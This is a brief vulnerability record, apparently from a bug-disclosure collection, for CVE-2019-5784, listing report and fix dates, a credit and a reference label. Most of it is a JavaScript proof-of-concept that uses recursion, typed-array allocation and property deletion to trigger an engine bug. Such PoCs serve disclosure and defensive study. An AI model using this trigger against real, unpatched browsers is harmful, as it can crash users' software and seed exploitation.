CVE-2019-5784.md

CVE-2019-5784

• Report: Dec 2018
• Fix: Feb 2019
• Credit: lupin

PoC

var str = "AISpsjFbWLAZEYyNzx8j5yG8cWkK2Mgb";

function go(a,b,c) {
  try {
    for (var v_in in str) {
      try { go(undefined,-0,{});} catch(e) {}
      try { new Uint32Array(41902);} catch(e) {}
    }
  } catch(e) {}

  try {
    delete v_in.a;
  } catch(e) {}
}

go(-0,{},23704);

Reference

• Issue